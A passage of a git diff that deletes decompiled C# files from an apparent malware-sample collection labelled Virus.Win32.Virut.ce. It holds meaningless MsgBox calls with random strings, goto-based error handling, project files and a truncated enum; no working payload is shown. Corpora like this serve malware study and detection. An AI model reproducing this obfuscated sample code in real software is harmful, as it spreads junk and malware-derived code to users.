"zLVKzeaWppPMKNwQLsaqSqrcMBmTXgZnegbmdDSENIreNwbpsasEyLksGoSIWPkeEnMfWoPPFyWCgPBnIqLFcgCFbEmxNMcHHZWnliRCGEcLTGPiQrkCdytHpFQXJJdVOHGjzvbinemYLwursyDeDGYHWLrRKDDdEGFALXFRcvoVJfEYPhEUDAFNrENTpOlCrGVZJTJWXlPEIkINdEfcDhSstkNb"); - int num6 = (int) Interaction.MsgBox((object) "vYDIKQnluXuvnjuATVWgKIgvFbfAtHNrKBOwmMTjdgqsqvLKZCZWkqLaBdDwFUdhfWLoOTgAXWEzdMVxHSpotmMICcvzKSCKwQufGtBEQanKQsCkEUdy"); - int num7 = (int) Interaction.MsgBox((object) "ZUbxwLrwbAwaXgQBGzKhpphxGQuGJdtFloFIasngEayvnHUqlXFzdyemwHzmZVfnBMvkumTiKfmBAkJoluvvjHsFIqplTNYyygMWgwnhvaBJaTinbMVmLatrofdBcdLpTtIePaOYTRpFuepBkpbxsqOedGSdMYTghmDLfXaVlFmZZGMQXtMgoPDJMoIYsigzpiTsJpSxxcMHEKJo"); - int num8 = (int) Interaction.MsgBox((object) "dOktSiblMDOmcFaTwUdhETYbqLDfOBUoaLRYIVbpeJaQyTBmCbpBhdQnuqjQEhcbNzJruhrTLLkNRmqLjLGQjhmvoDhyczThOzKuZhXgEkBvVUOanEEgGNIvAcgoqIutIdirfQQUjMYZyooxjkEFOwhwXkqNPyoNrClMiWEkvFJaXkycSSNPeXtByrRxTJkqLicfDpWdkdQaNvbRiPolWd"); -label_1: - int num9 = (int) Interaction.MsgBox((object) "HjGATJPltGUxwxIMZIDCpRekVEskTeTLjJLwzNQwaVxCQolSlnbzyrwCOpmwwovqJFoEIHvEGXdizUUZySFrcwicegTIkhbXwvDCgYkadCDSSsR"); - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - goto label_1; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - string str1; - string str2 = str1; - if (num2 == 0) - return str2; - ProjectData.ClearProjectError(); - return str2; - } - - public static void IATAgHlFRVALJXTsRDcgZbjrMRXOsxVIKGZYyFuT( - string poljIbHihxbqcXlSlkmFRfDWoPKerkbLLBXEJncEdoRcvizn) - { - int num1 = (int) Interaction.MsgBox((object) "NzLhoLZPpVSgJRdQYkELfzYXshaeDXwIGGcbeQfpjfQGZmLYeoFCPdKhJDXumrzzeHpbOQoUcMvhPLVwRhrtDvmGhYZuXwlhKyzvONqcOpqzuTIAvRRahiAnWIQiWBMetdUHOvteBhtJjjGjmzzyYTScEmsXQYjOIHQdtbqQNoDqKrbpUIEiSmJImKMGqOLgMghLCghgzhRYxcbUpQeVSBdXjDeHdgZ"); - int num2 = (int) Interaction.MsgBox((object) "tapsfZdiFZQRXevKMPtWdiCNImVfxGImizRpBnnuBIauVAFvJWyJzXqKftBNZRfEmexrLJTOwIXOgOpXnKIFhJidlrMYSLadeKmhTzElyyJcXrqMpqCNtTSjtwNazzBaOakGoSUfwOmeMskkExgczKVwsrFOlqiRfHvIjWrRfkHPLayLVNwsNpSmVJriorxWSoSlTSwQ"); - int num3 = (int) Interaction.MsgBox((object) "zzNSSiKsEBjyTfyWNPFjpAIAWZrBiQDStSJfdLFdiIukJHXlJHhlppXLkGelmjJSotstwcvsqmxDStePbWLeXViXcMzQqLraMOFlpHESWwyHxvcDbaGYGcoZWpmhulKqDaIMIRiDurQscyteRvQkxWxcUQvCDKtZCeynoBBkolBnqNlsHildGdfXGqToYKMQq"); - int num4 = (int) Interaction.MsgBox((object) "vgCZnJWZbpxCutdxBFKVtzSeeYUQJmmGbYWfeHGnqlxusbzebUqyCEPLWqlRKPCJUqekkclZxQFYqWtDmsNNKZZQEzoTXbieWwgRZIvkrufSIUtVdlkslBfwXPlyOILVaFmBSpSYUldCRJijuOONCXOEWzmhHBUhdhDPkKjobFIDldtuhrIBccIqwSyvVuqRaoojxJdkHPczmRJEmh"); - int num5 = (int) Interaction.MsgBox((object) "CLwrukrTramAJsorBXhWzgMdAcoKcwBiwnnDEVhEQBFuaBoOZvqKkXsYFvriLiYTiCdehTxaxTSVFfptiXALuFMOmtOMrukxzmURpnQCbIaaOnTCRmLVslxUkHHrhmNrkaNKsjMEqCdDPgCLPVZirZaLnRWRwVjVfAKDEQPCfkfWTRpRHsvHcWIkGKjyBYDXuMuoqzRiofLyIn"); - int num6 = (int) Interaction.MsgBox((object) "qbfxivxjPkmBScTrBXHQcNsCzPoQOWmlVGaCDYEKlZVPRDeXLkEwDeXylXcpIlJpivuJMLChTbJTVdVggAEqjAnzqxLByZbcOFQZmHFhygWlwXCjnBXWttbgPoZvLAGMprLbQMPfXCaNsFviyosEKrljGQtiEvtlGUshxYSKOkJPYthTRVxyIKoFfQenkIqvrGGnSkLEgSIxQf"); - int num7 = (int) Interaction.MsgBox((object) "ngRaXtolSjyenpxkgnuOXsyGvmsLgpTuKaHDWqWonmLywRXYzloOZfKFxoQDYIZorrdedWfDYtCqRHvYrZbxpqMxdQcqpSWWUfvcgXuNlhLtWHAoEROqmQkmigkCAGsupETXDgxUVQvhfHWUgbLVnsNYJzyMbOWJxdEsOlXZXJNiPtqSTTZNNLeJzkYxmdpRnRKPidAenbXXtIqkLGMugKQvASlCpfTG"); - int num8 = (int) Interaction.MsgBox((object) "kHsstYhWbeLFfPdxkSjzexOLBYeCjSamaVCSJGxnuZcySxxpEYVbvKwHlyMfaUrTgZROjnqQXytOSQBchNtBQLTnmRAAioZdRyYIDSmRuLYTWupgNClyKWDhJkxLBeLtqNVvJAlZJGUkEzOqkcjnosTwjECJXcmFrHqbwBvPnWROLugjVbWXwoYHjOyupxKmrVRBLjWO"); - } - - public static void xScTkYMThHHMfp( - string IwcFfNqpSpBwtpmwkEmZeDKHisDJnjdVBkWTkKcTwGKURtMg) - { - int num1 = (int) Interaction.MsgBox((object) "oVbdyEBpXaUDoTfNxwyPiVtpngxjvsSSeEQrKLDSkvpDFPDGdOSucnvZNVobTcKJzIFVrYAXiVEhBiYVMiqcaFJlVYEKhCqwwxBoMfbDMRXOyMYGuVZpxLSaGDCKFHufOlMbrWOORwBbRqnOVocIPvEtQYoDLgCNxnvHBkuEsYxvbJxwlCHIwyBtvzXSRPxwtRKJ"); - int num2 = (int) Interaction.MsgBox((object) "PZsdvjXerOkrJDIQWgpirOapCGsYCOJRLgmErYSveoDMcRKgQZgBTrOKlVvWqyGahagtKKmFAWJgJEDhSJKRNhbUMYyfMwWssPBRoagDWVeVsyrNpsDCMTOQtVeTFtHMGHZuTDBiFtpARfZUxjmcGiesvWOHIVOfmLbwmazsQySrWkFxFpoLjJYvfheSMKtryjksjacaRsoNvtksZTkakeyUOM"); - int num3 = (int) Interaction.MsgBox((object) "omUqcmjQTkqCopqYfUISaNENtEDJrPWUfTfGQHTnrblbVYBOKHLWtBDhJXvAlOZRsrGkGHFRjRQjBTFkFEZWaJXwBulJUeZeQljWkDRmNHHVIwYYGtVjjyKTgPuatmICWvdYfQphgsZtTdvOQWPQvoFgBdkHkIQTKQBzRPQjqVfLIhKokjVanCvTMfXMTNkKksSGWWhbrjpfFeH"); - int num4 = (int) Interaction.MsgBox((object) "DjUEJNEuPYBfneUbGNTuUoEKWsbKlTBmOhoCqlhTPENfeaSTSMROTPFVuKIHUusFbkFaNyDdXaRSYdLpFyPvuZQRYaKEQvUelIZywqzYiBUToagsMlWRQITCCqcuMQKoPGyMADIrugJyHLbkpsCEEvXbEJEbgOyfUHBdSygtVHQUMjuTYoffCekrvVLgtvwGklkSgSwjtGRaeiyJAPbMrE"); - int num5 = (int) Interaction.MsgBox((object) "aFRagqPkKycCFjTDsOMhrXoJuRzNLntZHTEuBjYDuLolTeUqaQKokhjKErSevgVYWsdksZNEepyJqqyRNCCFFSsmSPEETXQebJmkQfSWelWGCyBfDryYhryjloyUgHtBxoTdYwDMWUwLEwumZEnaUzQIiloJkfSvMCMxQUhjgKMFygqwBKIuSmJSnZOEhnCWvTHavtSvmcHXlxFPLfOexrUa"); - int num6 = (int) Interaction.MsgBox((object) "bhiJbmbPOXrWIQwLlBvNsJwymfiADdQkVcbpDCtauoOrexyDNVGKIsdsfkrvFWOvXjqeicyBJJYdeGWhmkmswxsJMRwUZNUgNqZSKpTZizMoZknWFZtAqHhgYEbLIkoSVOJwZvBYvpNXQnwvgBzWJKHKadEUEgyvRnEHEUsLCGxRmPtTXrbviGNKcSBjvDteHpepgOlCOZmLVTYEo"); - } - - public static void uTXcXitebwpzGBGOkQYzgdywgPiWnPnDRSYbTOwnEIURpw( - string OSqqQNSnIetiPZDfJzVQxMIiORyPeATBmojeuLuaghzYTpWd) - { - int num1 = (int) Interaction.MsgBox((object) "EMcLekWurXvdeDjcDjDHSpytzkIrkvgTfyRuXWGFMJBRyreLtjhdfbNYsEwoLTChNhcamKyHUscGcOmVTusQErHbeJqfOcheHogsECtPYukzVBWlsGKXkbRQaLHaVSYYvwkHykrhIXtwOTaCDryTKPJKgcHdBDeSeuseBVCBthVBvjybEVWZRURUCKUGWkKyRvDCNtKqhtExRt"); - int num2 = (int) Interaction.MsgBox((object) "VfIYQSpQpGALoaNgVMPuKftMaqBixjCteEHxhTDEkxXAACOOJwkBDEAyuvvbjVCRrXnxCxFlaYGGJGTDcdgnWUyZIiByymZkgVsnQHZfpnqZoGwlfTPZCIoldNvTeRWtNFznLiLitwBcfkzHgaMfkDYcTrEIQrtnkhSeFTnKOjWbdKvFAcKmDuucDmxusMISUyHIwrYiHPCMlsm"); - int num3 = (int) Interaction.MsgBox((object) "vQFJQnDjtJnyGQCQsZkknegkntFQulzhNVqhNepfzoLYNkjoYrHwbTkDEGVJIrhdykWWDLmRaoXKHZssBiHfyVZLeWxUcSDiCEUYhdTWKmdALjyOPIjzwMoxaOZegHbmahqptMOxuxEsXjxVkbqppfmwxsDtgXlsFCyHOgNceTPvSucvNkrLGuIpwEyXDiWitKIjUIDuRtYPYldWzdAVVbpMYsYXZKX"); - } - - public static void XGZeSsL( - string CBHzfNDrdDmlUWRCViCwrXqZuSBPTViMMgXgBNgCOPZqDpgp) - { - int num1 = (int) Interaction.MsgBox((object) "XWjXCOcDTgxFultygtlocRqOwicGYGLPmQBwsFZRblyJKHcIapBezWQaAHAzByLdyTfCAHmYZijZEGqpQPvtLTXERGMtrOIQCFRuJXWYHmKdwVRvwfcJizuquSNQojdvrVBmpORWMlvIrocMCEBkBORSlcluPWRVpxzFytGLXTFJHolItjynOOEstynxfFiZQGPknwsVhRgTHzYgUYaMbcPNinvuYQ"); - int num2 = (int) Interaction.MsgBox((object) "tyJmbBSZjbLDkYefYNEnRAJjHGYJmHHMepphfTVxSNioVnUGAMUJySWKmkZovjRNoXJWMSsbxZuTmYLtJfnlcGdPvsDyfycXmEucKgkGnSXNYMEmMbknqBhswlmHdhqklrXTNqgCAtqSmBgYImlfjipDYBkeTJxBuTQKenyFgiZLgDWIiWinjAfNYDYqiDwULp"); - int num3 = (int) Interaction.MsgBox((object) "XzjgAdSdUziLztPpHyaoZLHBbwmJWUEOIdqgmGWBunbFsfIxTFgKxSLaUJYpmnGxGMfbNahBIxGQTQOYLzuBoCrFFdvDmPKTbNpmNqQxbZsHAhlaKYPpgfuPXUwFXRfzTxpdcISefmZllFcSoRrmDWyUCoNpXBSJfBPlzElxFbKScWDQPhPIQFnjTMejIsAseDKzQhZSiVuPjGlHVWeSaI"); - int num4 = (int) Interaction.MsgBox((object) "loJWhslsjHrmeyvzZblXidLOZWoWrJZgXDwPpNwyDmntWfbmdVrrSxhTCIVDSUYuFnmMwxaLPEiOozDvfhHtQqrXxFjBHDOunntVeRMOUEtDHdRIgGwmDedHMHuXmgkQWygPrvoThhXElFIjoYeFigGwKOcgYbqHPOHesOUOiMbEsIdpaDdXoBDJIWUAaBwhFyoInIDyZlUPA"); - } - - public static string rjnRGVDNIMyjrhsvfJtKATONMnQxzJJMlWPUwEtXrZdtOJffsXzGREECMfNnnUzRwZHpyMWdzYLHpnZCDFKEqgjlumaqyZZglBrwDcqaxRYsIBeJbPzZKgFIYShc( - string BQFasLSyAYkuhhKi) - { - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - int num3 = (int) Interaction.MsgBox((object) "hJiVQBlgkBcpSmfXOblnbcfbKqOahevtuEBTPjZuHGTpwfnWtWYtETFskGRyLMSHJFlRCVPXUdefJhIcbWdQblIQSwcUpwxSlDEgEcFQBBwMOVkcptdQfRmbDtiQGijTACfiJowSTkxDAbTRwwLHrrTEDMIxEdHQKrqFlqZilKbIjMqMmVZvvZomjoQEtidwkQbiDofLLJzZaQvzYRZkJngNtrKQizcHj"); - int num4 = (int) Interaction.MsgBox((object) "ddJLYpzeHfOuCoZPxviOnZHRMMgzMhVtErvQIiXwuzLipOgvvXkEYxzIlCXnGWqRkDBclMDDdtxVsHwPtOHyJjNxaJdywiINJvcrUiTTwvWDZbwseDsIrZGUOybxZxBRBaCZFvOnnnazeIxtWQhjeKFHCkRYDmDvEwGOkKItEvifYHCYDFMDEwOcEpPocDpmlrxCgn"); - int num5 = (int) Interaction.MsgBox((object) "jNtJNjUXKuuscTKvggGQIHbcWfjosOBqmrycQJVwmKTjunrDixEEhMqWOhzCMWsxJyUFhunrSZJLaQBwiEJOduaSVYpiLxnskjVkATfWFdvIGGinDQNosnqmUytlIuiyqsLGJlGNWJNdgauDNVzfTGsGiuuLybmswQaTCJZrmGsXwlsUhIpCOqCfCZMaGGXpvabErkW"); - int num6 = (int) Interaction.MsgBox((object) "bcdJdNOsTURbEZlgRSdzkDLxNMTnUcbHsbmQHabBCxEXwmcauiZsmqMLzIMSSEhwbGFBGxyfBakVsbYAlIBGPBwJBQsLjROuDFRsHWzMIBVfQygzTYTIonQOuOSibKPwkFoOetREuAukRzQfSShJvkiGVbRyfzJwaKzYKQQmvxSxZsBLHkLeTSbLIItAVipPmVftPKDMFSLJTYTZRLcyEczmvBxkedwSK"); - int num7 = (int) Interaction.MsgBox((object) "LkaEMLYwpefCBUxzfjIMTBUxLqOtLuFbCQZmdYAOpYQsydPLAHlpFksLeKfSJjmbMBSwaFmQzAPBnsGkCJsfPnTcEnkseRvebJdTLKWItfaUHGEVCfPHzhq"); - int num8 = (int) Interaction.MsgBox((object) "WBlYIfczfoSnxJJYZjXhPZepVpFJdgxsJCAudaAzRZdDEVaZYmXHMUiEsXGNDuoZwuOozGgrmVVoQiMXwMbmvLMxXQzsdfTIbUQiLBdlrAVAlQnUezSJptQdEtvRXEcoMbDzetLKAcafTGEJwqHzrQQhhwcuQuCkQrbTqrENJeZUDNkPuWeqJPDUiXxwhtqBZNNMaWOrCJDdqOuwTlRb"); - int num9 = (int) Interaction.MsgBox((object) "NYaENIjFnOonSDvHDcqjxhbqzZVzJCZoDurXLNXcLZMypZOCKfQFpkcFDZhdgHulOjnqGaSxMvPBeYDkyTUomFKeuRnVKKzZtkKyMVxQnZGqQpXZoUzCiNJUJKsBgHjziVpuQinMrgdCCWGgpCvipwofdEKIoEcJimsmuheUbKusOpunCNVnkeorDsDwLYUkvdghapLVrHUUcObdcwoavdyp"); - int num10 = (int) Interaction.MsgBox((object) "JtCnDNDSfzTVDaCzrwnKZTYJVKTVBnqAnPSRRIJqPPpowuxZaYlytKPIoIdIegmIJNtrIalnTMnLaegJJHeiySVFCEYNnhCIfosRZIyWEzstgukysExEFjLNwYPtjjcmZKURbuMQSQXQkfqsWcypizShQeKamawxmojTkYIZDbkBGaguqqqPCCYRFkRkTvsrNqszUkUwItnf"); - int num11 = (int) Interaction.MsgBox((object) "GpRmWnRFlZwSBiagWyMjolnwogdKFZnbjPyRQXcqbNEccnCWnlnsIsexPTWUOoUJGrmsQtDqjLtBWFGtYcNOCkWHaRuUdorozxNupRvrWMFpLHkMajLfrkRCbtSdUPOQnbrKoktiuCCqgbkkfuzyopNdANlxnUPTJUsUQgYqhLHhtjjbtssPDHlmpxSmMXjgQVgiyZZwmjiWYzV"); -label_1: - int num12 = (int) Interaction.MsgBox((object) "GnZHgqLXdPbYvQZopWssfpyUklnXQeLMomdTjcpuqUrTqQbINwIFEkTHDgKDZJSVFSuxVFyyxAwJHHklKHPSRngEKRjqepoVTmGCqtlbrgSNtzAInpVvzwpbDIDFPrHqlKVJPikgTYNIUjFarGiPVbbbTbZFGhAzwvNLeOatoVIxgqRXLABnYFbNJZHSSvJVqoHRBaFEFbbgMEICMgNxQOxGKgFTajHmMOPqiU"); - int num13 = (int) Interaction.MsgBox((object) "GjHSCZOXZKQHVnyZhXuvzmPFaMwEGxQiYrGEwdxtyYNznxcMxrqunMPfScUbRkriikLhhSiVSRkeGUhjWwrqymdgwxqShYfNSPUNSWqsOpdLhgifnotymnYxtZEsIozKLibNLPrzVvmIYHAndVrgMsWRrKGPEHVOuqbuUZFdUlGkoaFybsfEgbtdaErzdGOPCoPYCcCVuLgFlLRzOGFeCRJXaLGKmMzAQ"); - int num14 = (int) Interaction.MsgBox((object) "LttyeSwdsrkfIhITRqlhxDAAUMLXKqmRVlgDMUVixEClbPjVhDLYmSzblHcLondrIOQvLUPLqTOosRWTEprGNTHSStbrNZxBbScsYRQdbJoosCzpyVJogt"); - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - goto label_1; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - string str1; - string str2 = str1; - if (num2 == 0) - return str2; - ProjectData.ClearProjectError(); - return str2; - } - - public static void tqkSIROcJwrBTbknfufMqcEjytDKOag( - string lqvfBzQwlHcbVvvXloqDoNKgOdGeVNwnWxtKfITUGblTXEoP) - { - int num1 = (int) Interaction.MsgBox((object) "tGwDUwqqNNJvjJFHCADMEJATBZpDKgpJlkrRdVQYqCcfIDaxkoeRxMtfBdWeQNAGEzvVfcEcThThKSeHWhCJWhQqajbWFrZZTuwcMWJacMuIZzKvUBBrggivnQbeEdUYOfdVVgblDGplshxaEaxvmEptjHNqDYAdFqxMywncEnUKgzZutYZkQvLkvTIzsaQNPnCphBbltWJWKY"); - int num2 = (int) Interaction.MsgBox((object) "bGJxfmGzDlQULbQOIKKLnRJWxdTRBLxOaHUexuFqOEPOGDwogrJiOEwENlhYoSUTqSPSGrvXQKNXXfnshCjpDPdQGZLwugiPvacQujVesswFXzAhfSfBNNivkokPRueIVqZaQdMaqomysnpPuHDLHgDGxqsnMnzsovcTnYZthwyFLnHvvWEYVnxbWRbIsSpfCeBUThvqGbAZbUYMF"); - int num3 = (int) Interaction.MsgBox((object) "nNsLTDrUpSazZFDIeJujSGajvvBnHJgExcXGiQhJnTkgrMCypcsdNiGKTdzKiwTnOjkNVXFOEdfVKsfqiqmeLyNVnZRXIAzGYOlbmSKImtTuMgdFQWLLCJWURJHVFkQwjrZwWeZVhHbU"); - int num4 = (int) Interaction.MsgBox((object) "xIbiycNCQMMGQqFYPCKykVpYhdjDTEJexHuGjGjorbGjeFCMONOkmjrrHLJDsErhkHLJSgiXFAoRnJFLumpRNlpibZIuJpeipPQIYBHqXZnQLfRveNVwKqrYKGObNbfJjTsGwhPXQljhujutngoaWNHpeuJCzbAlmKYDilOsDZMSijxgpecEtQrJDfcXOEzqTarCcdLeGeDYXthkGxVlWNEGDBAoCZjzzGeEaWQHvprBIdGgHZzWBTCKyxN"); - int num5 = (int) Interaction.MsgBox((object) "mJNQBHHbsTfzQvdgBIsrTRxyvAGDHGlrTznCyopurJvuDJHovPyuByMdrGGBSIdPBobxfGZWWHPdXwcNRjXVjbUQrfnagXtcfXPRVoQbUWmLbexybFCvNYZNUnpANCfuzwsdyWVBTynWJozxJWKxZmtdGkiPszayZUnBDlrshtsgJHmEdqYwHydHNgulKxfiRycGYQevZReIQSLQyUUOzshvGhmEexusrk"); - int num6 = (int) Interaction.MsgBox((object) "cuBPsrpVaGcdEZTdANhQPAvNacCrDGfUrucKlbBsqQenjMbCnZeeJJoUsNeEflQrpEmTBCzRLblsnoYTKtQkqVoVoZuRTrlYYTtySqYcklNCscAKTQIqkEiyRFL"); - int num7 = (int) Interaction.MsgBox((object) "tztLFukYWwoqznFpXTSujRlNcEnhHUreFTauRWUSqfGhrLfcOfdYQPQDRMnJzYgGkuCGJRPvWwosokQySPkclJTmkuccehTBYIboxmvddmSDSnYZE"); - int num8 = (int) Interaction.MsgBox((object) "WuTXGDMyYYACQFvFFFuSAioVDHhBmjaNnnKmzMWOsaQjkBvsjuGDlutgpmafVSTAXpnCDBAkELxgWJYHtBYgILzCIierXLxuBVsBUSMVmyibbXtHMxmjTbVrlRhRtHaCCzNRyFVdPJNCBoVzODluSlVHxJZolESgymfsLpQRNbryCTscnIvHkNGVesqAvmpXmFbEdjqSfLdTIAtcXtVpUMwhy"); - } - - public static void TvjbOKFqDE( - string mqeJtrdWnapHklOfumntJnKWMjVCoGGxKlEKVbbPuxyIBfBJk) - { - int num1 = (int) Interaction.MsgBox((object) "IwzzuEmPXPoXVRCkseoQsUMfMpcOgdpFhPaebtMIqPXXUXjwlXwhWBPTzPtwrdskamdOfKurfUuSqmJlFxjFdyfiPtpcQyVPkLeIIuhBiUURUYhVyeExuaWnNQeqjVUbdyPKYfevsMgTDJWQXgbyvLBqczxggXolnASXWgtBfjNZlGlxxsgKbTbTejaCzTnWiHWwwMhwOcwlPg"); - int num2 = (int) Interaction.MsgBox((object) "UjEraqTzNMQoTrELCDyBbIHJGUlMdxPnAnpqabtblHcLlIgprXHVlrGQkJbPjTgHQQgygMeBmOZcjzxlrpwgknkhwWsBgGmkpRJSHZNpHsZZJlMUIvTCOZEvzhCxOwvTLnprjCOlTIYiHKZYXTGGkKIVCvJKLwpgZndlPXWYHmNHtXhmEFBmrtAKdivvTcgCWRjphdfYjeVkGvdDyyvjNt"); - int num3 = (int) Interaction.MsgBox((object) "peFStZNWMpPmSaNvwojHvFIZikIVVFEYCFhTwuSPITZQEwDKwKIXnOecjEeXTBCWhtlybutIVNCEYiKlYMBrfjZRmhjlvUwuzhBIepyaTLfEVzsAyjxRSgDULKGLyZtUYLLzspvYCqSqIHfqQczvUXNbZcAXeCXbSwYjTbuEaSweaMAVvbqKMpYEQfFMyffcsqicgPyiVtqgNPpKNasF"); - int num4 = (int) Interaction.MsgBox((object) "ydjBZdKHdYRYiLQFDLxdsbFAGNfnUGOHQWQUjIrAeUiNsuatoELGFGTFHQFKPoKsoMUhXQBXKpmELQkwqOoESvObWoiiRQiImneqjQwzpZLyhpsddOZcJzpWVyLUBsdgocxPWmGoNmwCefHWmSScLiXazhtTLugqDvEJydWdszBRyhRrfjmPQWAFQSiJHzrnWSMNJdUdFeOVMPyIuvijlZBfInhn"); - int num5 = (int) Interaction.MsgBox((object) "kIXxEpXdjtvTwSAiadrBLSxdOWLYjEvmzyBMKUrwCboSQKWakmymjChFiFiqeaLBYXuvZnHpDULrXBIhQxLSmIRxWtAjKDWtdRkyqJamJOurOGUdmyNtRzIfcwEWjpiXGXGyENpwYVhmMsTflRRoPgnuED"); - int num6 = (int) Interaction.MsgBox((object) "xkopXCXwqzsJscRfSBKMxDxmXmcLTHIPiwyXmYUbnqTkFTGWKYxsZRWPjToLQZZIcvMJCDARUraeazptZqITdNNGSvbvXerKGARhUofYMZDZFOhDnbfWKljTznexnRZexiCZrYWGqHqEvKwIbyCmXhKIRlzQgmYbNIUUEpWjMbzyfxSQeOuQvZoSBlkGUrzVLYzEazcSIz"); - int num7 = (int) Interaction.MsgBox((object) "iYpiroqbbDEfFSZrGLROIQibvpKQotPNWnVtsoetdqPgytbxIBGIqdSNVQlbkSENUuvnGRygfpCPJgEmWVZcHzlIfxGUvLxKpxqiakGQDoggvRlQGEZEuxpvaBxQmFgCnohyKKaRepiMVXNyeBabIimmGMrLiBbEXmSDSjqyFWuJZWikgISLcPZXDNSvpyjjaxggmV"); - int num8 = (int) Interaction.MsgBox((object) "NQmxUXFsvUyUCGmcdqIyUOJzSgkyHQluhNpIWPimazDTSXyNKdttZcezkcyBRgGjJwtjsMMuaeYixKGVooZUztGrmiwMQqGzVokGjJDYYdxxrPbIpsmJwHEkSUNGpyytJEIyAYhvRQtCiVirKWuRNmlBCFnnZyoFdpYnhjdUPRFhIDDTLSKMHSDQHsTPpTdgQgjBzBTUtoO"); - int num9 = (int) Interaction.MsgBox((object) "ZednujVssUsNszYUlsmKiJgEdBfykZqnVTZzLqofMTcNiNjefudtMhgCqZaYyCCiWwwfzOHZzeVJeCgHKrVYUzFMnJtCNFDunotMkRNONvCfYwQqZFbyFJotfRfuVgpUxFMbSlMLUUDXnWrmVKbvTzRKhIOTTZzSSvoymRCvynmEwnPBbBhnMRdnLhMNTYHlueBevsSTaWotsDDkksCAEzGfLC"); - int num10 = (int) Interaction.MsgBox((object) "jRGbPVXHvWCibMuctYkyaMgjHLNMMsrQqvgUbLjgzjowVgiaQJUTmHJPWxMueyBDaBmjpEvPjTZbafuMiXiRfTxaJfgaLXWaVkUgPdezgbCnzkCcdQVFNZSFNSVRpVTLYbIKDXaIVuWZKjpbytoteuQsBdVacwtjcZoYxQXKkThzhwxLeYgedeVGaOqhDbbSgzGrgBEzMujHndHcURBfQdZvYC"); - int num11 = (int) Interaction.MsgBox((object) "OIJwaojnVGfPzFqUnvSMIzUdJRaxABEcRvDwamrLKQXaJGGZWyvRaGhtAZGwbHiyiIiERcixTcYWWGjDwqTzXhGRVhaYPXBTYSIeNBNGQDtXIVUVyIxjdTcPiW"); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Virus.Win32.Virut.ce.csproj b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Virus.Win32.Virut.ce.csproj deleted file mode 100644 index be05fa2d..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Virus.Win32.Virut.ce.csproj +++ /dev/null @@ -1,45 +0,0 @@ - - - - - Debug - AnyCPU - {C5CF1FBD-ACAF-44FE-AF0A-3038C8399C49} - WinExe - 123 - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Virus.Win32.Virut.ce.sln b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Virus.Win32.Virut.ce.sln deleted file mode 100644 index 613ee9ee..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Virus.Win32.Virut.ce.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "123", "Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.csproj", "{C5CF1FBD-ACAF-44FE-AF0A-3038C8399C49}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {C5CF1FBD-ACAF-44FE-AF0A-3038C8399C49}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C5CF1FBD-ACAF-44FE-AF0A-3038C8399C49}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C5CF1FBD-ACAF-44FE-AF0A-3038C8399C49}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C5CF1FBD-ACAF-44FE-AF0A-3038C8399C49}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Action.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Action.cs deleted file mode 100644 index 39db8678..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Action.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ATI.ACE.CCCInstall.Action -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -namespace ATI.ACE.CCCInstall -{ - internal enum Action - { - InstallOldGAC, - InstallGAC, - InstallNGen, - UninstallOldGAC, - UninstallGAC, - UninstallNGen, - CreateReg, - CreateVersion, - UpdateNgen, - 